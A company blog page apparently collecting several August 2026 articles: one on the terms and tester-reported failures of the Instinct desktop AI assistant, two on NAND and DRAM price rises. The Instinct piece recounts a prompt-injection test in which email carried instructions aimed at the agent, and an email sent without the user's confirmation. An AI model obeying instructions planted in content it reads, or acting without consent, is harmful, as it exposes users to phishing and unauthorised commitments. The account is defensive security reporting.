Our database team runs PostgreSQL major version upgrades on Azure Flexible Server, including the extension audit that decides whether a server can move in place at all. We handle the SCRAM migration for PostgreSQL 11 estates, the PostGIS and TimescaleDB paths that the in-place upgrade blocks, and the logical replication cutover when side-by-side is the only option. Read more about our PostgreSQL end-of-life upgrade and migration service, or book a Postgres version audit before the September meter starts. Teams tracking this alongside wider spend should also read our cloud FinOps guide for Indian teams.

References

Last updated: 25 August 2026.

Instinct's August 2026 terms exempt Gmail from AI training but not your screen

Manu Shukla — Tue, 25 Aug 2026 05:48:01 +0000

Instinct's August 2026 terms exempt Gmail from AI training but not your screen

Summary. Instinct, the autonomous desktop assistant from Spear Street Technology, Inc., published a Terms of Service revision on 20 August 2026 that takes a "perpetual and irrevocable" licence over user Materials, explicitly including screen captures, cursor movements and keyboard inputs, and uses them to "develop, train, fine-tune, and improve" its models. Its Privacy Notice, last revised 22 July 2026, carves out one category: data received through Google Workspace APIs is never used for training. Google's Workspace user data and developer policy, last updated 22 July 2026, is what forces that carve-out. The result is a split most buyers have not noticed. The same Gmail message is contractually protected when Instinct reads it through the Gmail API and contractually trainable when Instinct reads it off your screen. Instinct's liability for anything that goes wrong is capped at the greater of $100.00 or six months of fees. TechCrunch reported on 24 August 2026 that early testers had already hit deletion, revocation and prompt-injection failures.

What changed, and when

Instinct is still in private access. TechCrunch's Sarah Perez reported on 24 August 2026 that the San Francisco company is operated by Spear Street Technology, Inc. and led by former Sierra research scientist Noah Shinn, and that testers had begun circulating screenshots of its terms.

Three documents govern it, and two of them moved this month:

The Terms of Service were last revised 20 August 2026.
The Acceptable Use Policy was last revised 20 August 2026.
The Privacy Notice was last revised 22 July 2026.

The Terms define "Input" to include "prompts, text, documents, device usage data (including screen captures, cursor movements, and keyboard inputs) or other materials and data for processing". Input and Output together are "Materials". The licence clause then reads, in full: users grant Instinct "a nonexclusive, royalty-free, transferable, sub-licensable, worldwide, perpetual and irrevocable license to access, use, host, cache, store, reproduce, transmit, display, publish, distribute, and modify any Materials to provide, operate, develop, train, fine-tune, and improve upon our technologies, products and services, including the Services and its underlying AI models".

The Privacy Notice describes the collection scope in matching terms. The assistant "is always on and has access to any interaction you take when the personal assistant is engaged", including "the content of your screen and software application that you are interacting with, all text and documents that you transmit", and "the content of messages, emails, or other private communications or materials that you view".

The carve-out, and why it exists

One paragraph in the Privacy Notice runs the other way: "we do not use information received directly from Google Workspace to evaluate, fine-tune, train, or improve AI models". Instinct also commits that it does not sell Workspace data, does not use it for advertising, and does not disclose "raw or derived Workspace or Photos API user data to third party AI services, including third-party AI model providers, for model training or secondary purposes".

That is not generosity. It is the price of a Gmail OAuth grant. Google's Workspace user data and developer policy prohibits transferring, selling or using Google user data "to create, train, or improve a machine learning or artificial intelligence model beyond that specific user's personalized model for the appropriate use case or user-facing feature". Gmail scopes that read or modify message bodies are Restricted Scopes, which pull in the strictest tier of the policy. The same page notes that Google's developer Terms of Service prohibit "creating permanent copies of Google User data", including "keeping cached copies longer than permitted by the cache header". The Google API Services User Data Policy adds the enforcement hook: Google "may revoke or suspend your access to Google API Services" for non-compliance.

So the protection attaches to the transport, not to the content. Nothing in Google's policy reaches a screenshot of Gmail taken by a macOS application with screen-recording permission, because that data never passed through a Google API.

What Instinct sees	Read through the Google Workspace API	Read from your screen
Used to train or fine-tune models	No, per Instinct's Privacy Notice	Yes, per the Terms licence clause
Disclosed to third-party AI model providers	Not for training or secondary purposes	Permitted; the Privacy Notice lists them as recipients
Used for personalised advertising	No	Not excluded; advertising appears in the general uses list
Governing rulebook	Google Workspace user data and developer policy	Instinct's Terms of Service alone
Licence duration	Bounded by Google's Limited Use terms	Perpetual and irrevocable
Revocation path stated	Revoke access, then delete via account settings	None stated in the Terms

That last row is the one to read twice. Revoking a Google OAuth grant does not touch anything the assistant captured by watching the display.

What testers actually hit

Four failures reported by TechCrunch on 24 August 2026 map directly onto obligations in Google's policy rather than onto vague privacy unease.

Peter Yang reported on 21 August 2026 that Instinct would not delete his Gmail records when asked; he said the team later added a tool for deleting external data in settings. Google's developer policy states the principle plainly: "Be respectful: Honor user requests to delete their data."

Claire Vo reported the same day that she disconnected Instinct from Google at 11 AM and still received a summary of her emails at 2 PM, and that the bot told her the emails were stored in plain text for later searches. Retained plain-text copies of Gmail bodies after a revoked grant is the "permanent copies" and cache-header language, not a UX bug.

Alex Cohen, co-founder of Hello Patient, wrote on 22 August 2026 that he created a new Gmail account, emailed his real account with instructions aimed at Instinct to test how easily it could be phished, and then deleted his account. Google's required security measures for Workspace developers now include "Protecting against prompt injection techniques by either using Google Cloud Platform's Model Armor or other prompt injection protection". Instinct's own Privacy Notice concedes the exposure in writing: "third parties with whom autonomous AI agents interact may include hidden or misleading instructions with the goal of misleading and manipulating our AI agents."

Katie Jacobs Stanton, founder of Moxxie Ventures, said the assistant sent an email on her behalf without checking first. "The more powerful these agents become, the more trust matters," she wrote. "Every successful action earns a little more trust. One unauthorized action can reset that trust to zero."

Michael Mignano, founder of Anchor and a general partner at Union Square Ventures, framed the wider effect: products like Instinct will "change modern security norms for consumers", and "people will increasingly hand over passwords to 3p [third-party] apps, unaware of how or what they are storing for them."

Instinct's team had not responded publicly to any of these reports as of TechCrunch's 24 August 2026 publication.

The clause that binds your company

The training question is the one being argued about on X. The agency question is the one that should worry a general counsel.

Terms clause	What it says	Effect on a corporate device
Definition of "you"	If you use the Services for a company, "you" includes that entity, and you warrant you can bind it	An employee installing it can bind the employer
Actions	Instinct is appointed "your agent to enter into agreements, commitments or transactions on your behalf"	Commitments are "binding on you as if entered into directly by you"
Rights we grant you	Use is permitted "for your personal use only"	Business use sits outside the granted licence
Limitation of liability	Capped at the greater of $100.00 or fees paid in the past six months	Recovery is nominal regardless of loss
Restrictions, item 9	Bans use "for benchmarking purposes"	A formal vendor evaluation is prohibited by the Terms
Arbitration and class waiver	JAMS arbitration, individual only, 30-day opt-out window	Opt-out expires 30 days after first agreeing

An employee can therefore grant an assistant binding agency over a company, while nominally holding a personal-use-only licence, with recovery capped at $100.00, and be contractually barred from benchmarking the product before adopting it. The real exposure here is contractual, not technical.

How to tell whether this is you

Instinct is one product in private access, and it will not be the last. The pattern to watch for is any assistant that reads a system through screen capture rather than through that system's API, because the API is where the enforceable data terms live.

Check three things:

Screen-recording grants. On managed macOS fleets, audit which applications hold screen-recording permission. An assistant with that grant is outside every SaaS data-processing agreement you have signed.
OAuth grants to unverified apps. Google's developer policy points administrators at Workspace app access control, which allowlists which connected applications may hold Restricted Scopes. Default-allow is the failure mode.
Deletion and revocation, tested. Revoke the grant, wait, then ask the assistant to summarise the source system. Claire Vo's three-hour test is a reasonable template.

Restricted-Scope applications must also follow the Cloud Application Security Assessment and may be required to obtain a Letter of Assessment from a Google-designated third party. Ask any vendor in this category for theirs before the pilot, not after. The teams that get burned are usually the ones that treated a consumer waitlist invite as a procurement decision.

Governing the boundary is the same work as governing any autonomous agent, which is why AI agent security and prompt-injection guardrails belongs in the evaluation rather than after it. The comparison of vendor permission models in Gemini, Claude and OpenAI computer-use agents is a useful baseline, as is the retention question covered in zero-data-retention limits and endpoint residency. Vendors that expose an explicit tool surface, such as the Claude computer-use toolset, at least make the permission boundary inspectable.

India-specific considerations

For Indian organisations the Digital Personal Data Protection Act 2023 raises the stakes on the screen-capture path. An employee running an always-on assistant on a work machine can put customer personal data into a third-party processor without a contract, without a notice, and without a stated purpose. The employer remains the Data Fiduciary. Instinct's Terms are governed by the laws of California with disputes venued in San Francisco, so an Indian company has no practical remedy against the vendor and carries the regulatory exposure itself.

Instinct's Privacy Notice also lists health information as a category the assistant may process, giving the example of booking a medical appointment or summarising an email from a healthcare provider. Any Indian firm handling patient or insurance data should treat that as disqualifying on an unmanaged endpoint.

What is still unknown

Instinct has not published a data-processing addendum, a subprocessor list, a retention schedule, or a security page. It has not stated whether the delete-external-data tool added around 21 August 2026 removes previously indexed content from training corpora or only from the search index. It has not said whether Materials captured by screen recording are segregated from Workspace-derived data in storage, which is the technical control the Limited Use carve-out actually requires. It has not confirmed a CASA assessment. Requests for comment from TechCrunch went unanswered.

Until those exist in writing, the honest reading is that the Workspace carve-out is real and narrow, and that everything else the assistant sees is licensed perpetually.

FAQ

Does Instinct train its AI models on Gmail messages?

It depends on the route. Instinct's Privacy Notice says data received directly through Google Workspace APIs is never used to evaluate, fine-tune, train or improve AI models. The same message captured from your screen falls under the Terms of Service licence, which permits training. The protection attaches to the transport, not the content.

Why does Instinct treat Google Workspace data differently?

Google's Workspace user data and developer policy, updated 22 July 2026, prohibits using Google user data to create, train or improve a machine learning model beyond that user's personalised model. Gmail scopes that read message bodies are Restricted Scopes. Google can revoke API access for non-compliance, so the carve-out is a condition of the OAuth grant.

What exactly does the Instinct licence cover?

The Terms revised 20 August 2026 grant a nonexclusive, royalty-free, transferable, sub-licensable, worldwide, perpetual and irrevocable licence to access, host, cache, store, reproduce, publish, distribute and modify user Materials, and to use them to develop, train and fine-tune Instinct's models. Materials include screen captures, cursor movements and keyboard inputs.

Can Instinct enter into contracts on my behalf?

Yes. The Terms appoint the Services as your agent to enter into agreements, commitments or transactions on your behalf, and state those commitments are binding on you as if entered into directly by you. Liability for anything arising is capped at the greater of $100.00 or fees paid in the previous six months.

Does installing Instinct bind my employer?

Potentially. The Terms state that if you use the Services on behalf of a company, "you" includes that entity, and you warrant you have authority to bind it. Section 6 separately grants only a personal-use licence, so business use sits outside the licence while the entity-binding language still applies.

What did early testers report going wrong?

TechCrunch reported four issues on 24 August 2026: Gmail records that would not delete on request, email summaries arriving three hours after a Google connection was revoked, a successful prompt-injection test conducted through a fresh Gmail account, and an email sent on a user's behalf without confirmation.

How do I stop this on a managed fleet?

Audit which macOS applications hold screen-recording permission, since that path bypasses every SaaS data-processing agreement. Then use Google Workspace app access control to allowlist which connected applications may hold Restricted Scopes, rather than leaving the default in place. Test revocation by revoking access and querying the assistant afterwards.

Does the Indian DPDP Act apply here?

The Digital Personal Data Protection Act 2023 keeps the employer as Data Fiduciary. An employee running an always-on assistant on a work machine can route customer personal data to a third-party processor with no contract, notice or stated purpose. Instinct's Terms are governed by California law with San Francisco venue, leaving Indian firms carrying the exposure.

How eCorpIT can help

eCorpIT is ISO 27001:2022 certified and assessed at CMMI Level 5, and our security team reviews autonomous agent deployments against the permission boundaries described above rather than against vendor marketing. We map which applications hold screen-recording and OAuth grants across a fleet, test revocation and deletion behaviour empirically, and design controls aligned with DPDP Act 2023 requirements. If an assistant is already running on your endpoints, book an agent access review and we will start with the grants, not the roadmap. Our AI agent security and guardrails service covers the ongoing monitoring.

References

Instinct Terms of Service, last revised 20 August 2026 - Spear Street Technology, Inc.
Instinct Privacy Notice, last revised 22 July 2026 - Spear Street Technology, Inc.
Instinct Acceptable Use Policy, last revised 20 August 2026 - Spear Street Technology, Inc.
Google Workspace user data and developer policy, updated 22 July 2026 - Google for Developers.
Google API Services User Data Policy - Google for Developers.
Instinct's powerful AI assistant is raising privacy and security concerns, 24 August 2026 - Sarah Perez, TechCrunch.
Control which apps access Google Workspace data - Google Workspace Admin Help.
Cloud Application Security Assessment (CASA) - App Defense Alliance.
Model Armor overview - Google Cloud.
OAuth application verification and Restricted Scopes - Google Cloud Console Help.
Instinct product site - Spear Street Technology, Inc.

Last updated 25 August 2026.

SLC NAND rose 130-150% in 1H26 and TrendForce's headline NAND number still said 10-15%

Manu Shukla — Tue, 25 Aug 2026 04:46:04 +0000

SLC NAND rose 130-150% in 1H26 and TrendForce's headline NAND number still said 10-15%

Summary. On 16 June 2026 TrendForce reported that average SLC NAND contract prices rose an estimated 130-150% during the first half of 2026, and that NOR Flash rose 100-120% over the same period. Eighteen days later, on 3 July 2026, the same firm forecast that NAND Flash contract prices would rise 10-15% QoQ in the third quarter and headlined the release "gains moderate". Both numbers are correct. They describe different markets that share a word. A team pricing an industrial gateway, an automotive ECU or a networking switch off the 10-15% figure is understating its 2026 memory line by roughly five times, and the June note put the 2H26 increases at 70-75% for SLC NAND and 60-65% or more for high-density NOR on top of the first-half rise. Two suppliers also disagree by more than 4x on how many NOR devices sit in an NVIDIA GB200 rack, a firmware-flash line put at up to $600 per NVL72 system. Nobody has reconciled that either.

Two numbers, one label

The gap is not a revision. The 3 July release covers the volume NAND market: client SSDs, enterprise SSDs, eMMC and UFS for handsets, and open-market wafers. That market is dominated by advanced-layer 3D NAND, it is where consumer price resistance bites, and TrendForce says price tolerance among consumer customers "has reached its limit". Hence 10-15%.

The 16 June release covers mature-node code storage: NOR Flash and SLC NAND, the parts that hold boot code, firmware and write-intensive buffers. Suppliers keep moving that capacity to HBM and high-layer 3D NAND, so the supply base shrinks while demand from edge AI, robotics and networking grows. TrendForce says cumulative contract price increases for both categories exceeded 100% in the first half of 2026.

Here is what each number covers.

TrendForce release	Product scope	Move reported	Period
3 July 2026	NAND Flash contract, volume market	+10-15% QoQ	3Q26 forecast
3 July 2026	Conventional DRAM contract	+13-18% QoQ	3Q26 forecast
16 June 2026	SLC NAND average contract	+130-150%	1H26 actual
16 June 2026	SLC NAND average contract	+70-75%	2H26 forecast
16 June 2026	NOR Flash average contract	+100-120%	1H26 actual
16 June 2026	High-density NOR Flash	+60-65% or more	2H26 forecast

The compounding matters. A part that rose 140% in the first half and rises another 72% in the second half ends 2026 at roughly 4.1 times its January price. The headline NAND number gets you nowhere near that.

Why the mature-node corner is the one that broke

The cause is capacity allocation, not demand froth. TrendForce's 16 June note says major suppliers "continue to prioritize capacity allocation toward higher-value products such as HBM and advanced-layer 3D NAND", which squeezes the mature-node capacity NOR Flash and SLC NAND depend on. Several international vendors have been exiting low-capacity and mature-node segments outright: TrendForce's 28 April 2026 report on Macronix cites analysts putting Kioxia and Micron as gradually leaving the SLC NAND segment.

That exit is what the remaining suppliers are living off. Macronix president Lu Chih-yuan told an investors' conference on 27 January 2026: "Samsung announced its plans to stop producing and supplying eMMC [NAND flash memory chips]. The impact is huge. That has led to severe shortages in the market." He added that Macronix is the only company capable of producing MLCs used in eMMC outside Samsung, Hynix, Micron and Kioxia.

The replacement capacity is small and late. Macronix committed NT$22 billion (US$699.1 million) of capex for 2026, about eleven times the NT$1.8 billion it spent in 2025, to add roughly 10,000 wafers to a 12-inch fab running 20,000 wafers a month. Its total capacity is still effectively capped near 25,000 wafers a month, and Lu said Macronix would delay its 3D NOR development by about two years to fund the expansion. TrendForce's April report notes most new tools arrive only in the first half of 2027 because of industry-wide equipment shortages. Winbond approved record 2026 capex of NT$42.1 billion (US$1.33 billion) against NT$5.5 billion in 2025, targeting NOR and NAND shipment growth of 30-40% year-on-year.

None of that lands in time for a 2026 build. Winbond president James Chen said at the company's 10 February 2026 earnings conference: "Our capacities have been fully booked this year and next year, including DRAM, NOR and NAND. The industry's upcycle should last for quite a long time."

The GB200 rack count nobody has reconciled

Two Taiwanese sources published NOR content figures for the same NVIDIA rack two days apart in February 2026, and they disagree by more than 4x.

Chen, at the 10 February earnings conference, said an AI server rack based on NVIDIA's GB200 chips requires more than 120 NOR flash chips, equal to the consumption of 120 PCs. On 12 February, Blocks & Files reported Taiwan's Commercial Times as saying there can now be up to 30 NOR devices in a GPU server rack, costing up to $600 per NVIDIA GB200 NVL72 system, and forecast to reach $900 within a couple of years.

The two figures may be counting different things. A GB200 NVL72 holds 18 compute trays plus switch trays, so "30 devices" plausibly counts discrete boot flash sockets while "more than 120" counts every NOR die including BMC, NIC, PSU and switch firmware. Neither source states its counting rule. If you are modelling firmware-flash exposure in a rack you are buying, treat $600 as a floor and the 120-device count as the ceiling, and ask your ODM for a per-tray bill of materials rather than picking one published number. The real cost is usually the part nobody itemised.

Who this actually hits

The exposure is not evenly spread. Use this to work out whether you are in the 10-15% market or the 70-75% one.

Product class	Memory type at risk	2H26 exposure	Practical signal
Industrial gateway, PLC, robotics controller	SLC NAND, high-density NOR	+70-75% and up	Your BOM lists a 1-8Gb SLC part
Automotive ECU, ADAS, cockpit	AEC-Q100 NOR, automotive-grade SLC	Highest, TrendForce flags "even stronger price momentum"	Part number carries an automotive temperature grade
Networking switch, satellite, medical imaging	SLC NAND boot and buffer	+70-75%	Long-lifecycle part with no drop-in replacement
Handset, tablet, consumer device	eMMC, UFS	Modest, supply "relatively more abundant" in 3Q26	Volume UFS 4.0 or eMMC sourcing
Server and storage fleet	Enterprise and client SSD	Upward but negotiable	30TB TLC enterprise SSD now $22,600
Edge AI appliance	256Mb-and-above NOR	+60-65% or more	Firmware grew past tens of megabytes

TrendForce is explicit that long-lifecycle automotive and industrial applications face "an elevated risk of prolonged shortages" through the second half, and that industrial-grade and automotive-grade SLC NAND may run above the 70-75% average. Automotive parts carry AEC-Q100 qualification and fixed temperature grades, so a substitution is a requalification, not a purchase order change.

The storage side of the same shortage is easier to see because the prices are public. VDURA's Flash Volatility Index put a 30TB TLC enterprise SSD at $22,600 in August 2026 against $3,460 in the third quarter of 2025, with 30TB QLC at $18,080 against $2,768, while a 30TB HDD went from $495 to $1,216. Erik Salo, SVP of Product and Operations at VDURA, said: "Flash pricing has stopped swinging wildly, but it has settled at a level that breaks the assumptions most all-flash architectures were sold on." The same capacity reallocation drives both. We covered the DRAM side of it in our note on the server DRAM price rise for 3Q26, and the downstream device effect in 2026 price hikes and enterprise fleet budgets.

What to do before the next build

Four things, with dates attached.

Re-price the BOM against the right series. If any line is SLC NAND, NOR Flash or automotive-grade managed NAND, model 2H26 at the 70-75% and 60-65% bands from the 16 June note, not the 10-15% headline. Do it before you commit a 2027 build cost.

Get on a long-term agreement or accept allocation. TrendForce says suppliers are managing through LTAs and selective order acceptance "rather than relying solely on aggressive price increases". Macronix has moved NOR and SLC NAND to monthly price negotiation. A quarterly purchase cadence is now the expensive option.

Cut firmware footprint where it is cheap to do so. Edge AI firmware has grown from tens of megabytes to multiples of that, which is what pushed demand into 256Mb-and-above NOR. Compression, dead-code removal and moving model weights off the boot device to a cheaper managed part are engineering work that pays at these prices.

Requalify a second source now, not when the first one allocates. Winbond and Macronix both offer AEC-Q100-qualified NOR families. Requalification takes months; the capacity is booked through 2027.

The upstream picture does not soften either. TrendForce's 30 June 2026 research puts average 8-inch utilisation across the top ten foundries at 88% in 2026, rising to 90% in the second half, with foundry prices already up 5-15% between the first and second quarters and a further 5-10% for capacity-constrained nodes into the third. It expects mature-node price increases to extend through 2027.

India-specific considerations

Indian electronics manufacturers and product companies sit downstream of every one of these decisions and buy in dollars against a rupee BOM. A component that ends 2026 at four times its January price is a margin event, not a procurement irritation, particularly for the industrial and automotive tiers that India's manufacturing push targets. Two practical notes. First, an LTA signed in dollars removes price risk but not currency risk, so hedge the two separately. Second, if your product ships firmware over the air, a smaller firmware image also cuts data-transfer cost and update failure rates on Indian mobile networks, which makes the footprint work pay twice. Teams building connected plant systems should read this alongside our piece on smart manufacturing with IoT and AI in Indian factories. Where firmware carries personal data, the Digital Personal Data Protection Act 2023 obligations attach to what the device stores, not to what it costs.

What is still unknown

TrendForce has not published a 4Q26 SLC NAND or NOR forecast as of 25 August 2026, so the 70-75% band is a half-year estimate rather than a settled quarterly path. The 3 July release does not say whether its 10-15% NAND figure excludes SLC, which is why the two numbers can be read as contradicting each other. Neither Winbond nor Commercial Times has published the counting rule behind the GB200 NOR device figures. And Macronix's automotive eMMC controller samples are targeted for late in the first quarter of 2027, so the substitution route for automotive managed NAND does not exist yet.

What is not in doubt is the direction of supplier capital. The top five NAND vendors turned over $68.87 billion in the second quarter of 2026, a 77% quarterly jump driven by average selling prices rather than volume, and TrendForce notes they are prioritising capital expenditure on DRAM and HBM rather than new NAND capacity. That is the same allocation choice that emptied the mature-node corner in the first place. The cloud and AI capital expenditure question and your firmware flash line are the same story seen from two ends.

FAQ

Why do TrendForce's two NAND numbers disagree?

They cover different products under one label. The 3 July 2026 release forecasts 10-15% QoQ for the volume NAND market of client SSDs, enterprise SSDs, eMMC and UFS. The 16 June release covers mature-node SLC NAND and NOR Flash, which rose 130-150% and 100-120% respectively in the first half of 2026.

How much should I budget for SLC NAND in the second half of 2026?

TrendForce forecasts average SLC NAND contract price increases of 70-75% across 2H26, on top of the 130-150% rise already recorded in 1H26. It adds that industrial-grade and automotive-grade parts may run above that average, so treat 70-75% as a floor rather than a midpoint for those grades.

What is driving the NOR Flash shortage specifically?

Suppliers are moving mature-node capacity to HBM and advanced-layer 3D NAND. At the same time, edge AI has pushed firmware images past tens of megabytes, raising demand for NOR densities of 256Mb and above, and automotive ADAS and cockpit systems need high-density NOR. Supply fell while demand rose.

Will new capacity fix this in 2026?

No. Macronix committed NT$22 billion of 2026 capex to add about 10,000 wafers a month to a 20,000-wafer fab, but TrendForce reports most equipment arrives only in the first half of 2027. Winbond's NT$42.1 billion plan targets 30-40% shipment growth, and its capacity is booked through 2027.

Is my handset or tablet product affected the same way?

Less so. TrendForce's 3 July release says eMMC and UFS supply became relatively more abundant in the third quarter as consumer demand weakened, producing more modest contract price increases. The severe moves are concentrated in industrial, automotive and networking parts rather than volume mobile storage.

How many NOR chips are in an NVIDIA GB200 rack?

Two published figures disagree. Winbond president James Chen said on 10 February 2026 that a GB200-based AI server rack requires more than 120 NOR flash chips. Commercial Times, reported by Blocks & Files on 12 February, put it at up to 30 devices costing up to $600 per NVL72 system. Neither states its counting rule.

What should an engineering team do first?

Re-price every SLC NAND, NOR Flash and automotive-grade managed NAND line against the 70-75% and 60-65% bands rather than the headline figure. Then pursue a long-term supply agreement, because TrendForce reports suppliers now manage demand through LTAs and selective order acceptance instead of price alone.

How eCorpIT can help

Our embedded and platform engineering teams work on the two levers that are still in your control at these prices: shrinking firmware footprint so a smaller NOR or SLC part clears the requirement, and restructuring device software so a second-source component does not force a full requalification. We are CMMI Level 5 and ISO 27001:2022 certified, and we design connected-device systems aligned with DPDP Act 2023 requirements. Ask our embedded engineering team to review your firmware footprint against your 2027 BOM.

References

Last updated: 25 August 2026.

Server DRAM prices rose 13-18% in 3Q26: non-LTA buyers absorb the full increase

Manu Shukla — Tue, 25 Aug 2026 03:45:41 +0000

Server DRAM prices rose 13-18% in 3Q26: non-LTA buyers absorb the full increase

Summary. TrendForce forecast on 3 July 2026 that conventional DRAM contract prices would rise 13-18% quarter-over-quarter in 3Q26, with NAND Flash up 10-15%. Six days later, on 9 July, the same firm published the part that matters for anyone signing a hardware quote this month: several U.S.-based cloud service providers hold multi-year long-term agreements (LTAs) that restrict suppliers from raising their prices at all, so from 3Q26 the increase shifts onto customers without an LTA. The headline band is an average that almost nobody actually pays. Meanwhile SLC NAND contract prices are forecast up 120-170% in 2H26 versus 1H26, Amazon raised device prices by as much as 60% over the weekend of 21-24 August 2026 (the base Echo Dot went from $49.99 to $79.99), and Amazon's own 2026 capital expenditure guidance moved from roughly $200 billion to $220 billion partly because of higher memory costs. IDC has cut its 2026 global PC shipment forecast to a decline of 11.6%, and TrendForce expects global notebook shipments to fall 13.6% this year.

What changed, and when

Three dated forecasts published within a fortnight define the current picture.

On 3 July 2026 TrendForce said the DRAM market would stay extremely tight through 3Q26, but that weaker consumer demand and a higher comparison base would moderate contract price increases to 13-18% QoQ, with NAND Flash at 10-15%. The framing there is deceleration: prices still climb, but less violently than in previous quarters.

On 9 July 2026 TrendForce published a server-specific note with the same 13-18% band and a very different emphasis. Because some cloud service providers have already signed multi-year LTAs that suppliers cannot reprice, "beginning in the third quarter of 2026, the primary source of server DRAM price increases will shift toward customers without LTAs, as well as incremental supply sold outside LTAs to existing LTA customers." The same release warns that suppliers "may continue revising quotations upward throughout the remainder of this quarter" because the market is still undersupplied.

Read together, those two releases say something the individual headlines do not. If a meaningful share of the volume is contractually frozen, and the blended forecast is 13-18%, then the unfrozen share is being repriced by more than 18%. That is the number a mid-sized buyer sees on a quote, and it is not published anywhere.

On 13 July 2026 TrendForce added the sharpest figure of the three: SLC NAND contract prices up 120-170% in 2H26 against 1H26, driven by MLC-to-SLC migration and by demand from AI edge computing, networking gear and automotive electronics. Buyers in industrial and automotive segments are locked in by qualification requirements and fixed memory specifications, so they cannot simply buy less. SLC NAND is the boot medium for network switches and real-time systems, and it offers 100,000 program/erase cycles that MLC parts do not.

The forecast bands, and who they land on

Component	Published 2026 movement	Which buyer carries it
Server DRAM (RDIMM)	13-18% QoQ in 3Q26	Buyers without an LTA, plus LTA holders on incremental volume
Conventional DRAM (all)	13-18% QoQ in 3Q26	PC OEMs, module makers, white-box assemblers
NAND Flash (contract)	10-15% QoQ in 3Q26	Client and enterprise SSD buyers
SLC NAND	120-170% across 2H26 vs 1H26	Industrial, automotive, networking, AI edge
LPDRAM	Continued increases in 3Q26	Smartphone brands, passed to retail prices
Graphics DRAM (GDDR6/7)	Rising with broader DRAM trend	GPU and notebook builders

Source for every row: TrendForce's 3 July and 13 July 2026 memory pricing surveys.

Supply is the constraint, and it is a 2027 problem

TrendForce's initial estimate for 2027 is that total RDIMM bit supply grows only 15-20% year-over-year, well below projected growth in server CPU shipments. A server DRAM shortage in 2027 is therefore already anticipated, which is why buyers that have covered 2H26 are still building inventory now.

Samsung, which supplies roughly a third of the world's memory chips, told investors on its Q2 2026 earnings call that frontier AI labs have been sharing medium- to long-term demand forecasts directly with the company to secure future supply, and that tight conditions run through 2027 and last until at least 2028. The company's semiconductor unit posted record sales in that quarter while its smartphone and TV divisions lost margin to the same component costs.

Jitesh Ubrani, research manager for IDC's Worldwide Mobile Device Trackers, put the recovery timeline plainly in the March 2026 forecast that cut the 2026 PC market to a 11.6% decline: "Memory shortages will persist well into 2027. While we anticipate some easing of prices beginning in 2028, the market is unlikely to return to the pricing levels seen in 2025."

That last clause is the planning input. This is not a spike that reverses.

The Amazon case, in both directions

Amazon is a useful example because it sits on both sides of the trade at once.

On the sell side, a Fortune review published 21 August 2026 found the company had raised first-party device prices overnight: the base Echo Dot from $49.99 to $79.99, the Echo Show 11 from $219.99 to $249.99, the 16 GB Kindle from $109.99 to $149.99, the 16 GB Kindle Paperwhite from $159.99 to $199.99, the Fire TV Stick HD from $34.99 to $39.99, the Fire TV Stick 4K Max from $59.99 to $84.99, the eero 7 mesh system from $349.99 to $399.99 and the eero Pro 7 from $699.99 to $799.99. Ring products were not repriced. An Amazon spokeswoman told Fortune the consumer electronics industry is "facing significant increases in memory and storage component costs. After absorbing these increases for as long as we could, we recently adjusted pricing across our product lines." The company gave TechCrunch the same statement on 24 August.

On the buy side, chief executive Andy Jassy told investors in late July 2026 that Amazon now expects to spend about $220 billion on capital expenditure in 2026, up from a prior estimate of $200 billion, with higher memory costs among the reasons. Even at that level he said Amazon will not "have enough capacity to meet all the demand we have in 2026. And I believe this dynamic will also be true in 2027, too." AWS reported $42.2 billion of second-quarter revenue, up 37% from $30.9 billion a year earlier.

Apple's Tim Cook described the same pressure to Fortune as a "100-year flood on memory pricing" when Apple raised Mac and iPad prices in June 2026. Microsoft raised Xbox console prices by $100 to $150 and stopped selling the 2 TB configuration. Dell, HP, Lenovo and Asus have raised prices or cut the memory shipped in their products. Roku raised device prices by up to $50 in July 2026.

Vendor	Price action in 2026	Reason given
Amazon	Devices up to 60% higher, 21-24 August	Memory and storage component costs
Apple	Mac and iPad prices raised in June	Tim Cook: a 100-year flood on memory pricing
Microsoft	Xbox consoles up $100 to $150; 2 TB configuration dropped	Memory costs
Roku	Device prices up by as much as $50 in July	Memory costs
Samsung	Galaxy phone and tablet prices raised	Higher internal component costs
Dell, HP, Lenovo, Asus	Prices raised or shipped memory reduced	Memory costs

Sources: Fortune (21 August 2026), TechCrunch (24 August and 31 July 2026) and Engadget (22 August 2026).

How to tell whether this is your problem

Signal in your estimate	What it means	Action this quarter
Refresh quote expires in under 30 days	You are being quoted against a moving contract price	Take the quote or accept a rebid at 3Q26 levels
Spec calls for 96 GB or 128 GB RDIMMs	TrendForce reports CSPs and OEMs shifting to 32 GB and 64 GB modules	Re-price the same total capacity in smaller modules
Fixed memory spec you cannot change	Industrial, automotive and networking parts are qualification-locked	Budget against SLC NAND at 120-170% over 1H26
No long-term supply agreement	You sit in the segment carrying the 3Q26 increase	Move to reserved cloud capacity or lengthen the refresh cycle
Endpoint fleet refresh due in 2026	IDC forecasts an 11.6% global PC shipment decline on price	Stagger the refresh across FY2027
AI PC rollout with a 16 GB floor	Copilot+ PCs require at least 16 GB, which is the scarce part	Re-check the configuration before ordering

What to change before the next quote

Four practical moves, all traceable to a dated source above.

Re-price capacity rather than modules. TrendForce reports that since 1H26, CSPs and OEMs have shifted some systems from 96 GB and 128 GB RDIMMs to 32 GB and 64 GB modules, and expects that mix change to show clearly in supplier shipments from 3Q26. The same total memory can cost less if the module count changes.

Treat any quote older than a quarter as void. The 9 July release explicitly says suppliers may keep revising quotations upward within the quarter. A number from June 2026 is not a number you can plan against in September.

Push the arithmetic into cloud commitments before hardware. If the memory increase lands on non-LTA hardware buyers, then reserved and committed cloud capacity, which is priced against the provider's LTA rather than yours, becomes relatively better value. That is a genuine change to the cloud FinOps decisions Indian teams are making this year, and it interacts directly with the capacity crunch behind the AWS commitment backlog.

Lengthen the endpoint refresh cycle deliberately, not by accident. The real cost here is usually the timing, not the parts.

India-specific considerations

India buys memory in dollars and pays for it in rupees, so the currency leg adds to the component leg. Bharath Shenoy, senior market analyst at IDC India, told Moneycontrol in March 2026 that DDR RAM prices had already risen roughly 2.5 to 3 times, pushing laptop and desktop prices up 10-12% at that point, with a further 8-10% expected that month and about another 10% over the following months. Entry-level laptops that sold at Rs 30,000 to Rs 35,000 were already moving toward Rs 45,000.

IDC recorded the India PC market's strongest year ever in 2025 at 15.9 million units, up 10.2% year-on-year, then forecast a 7-8% shipment decline in 2026 as prices bite, with the consumer segment worst hit. Smaller regional brands and white-box assemblers carry more of the shortage than HP, Lenovo, Dell, Acer or Asus, because scale buys supplier use. That is the same LTA dynamic, one tier down.

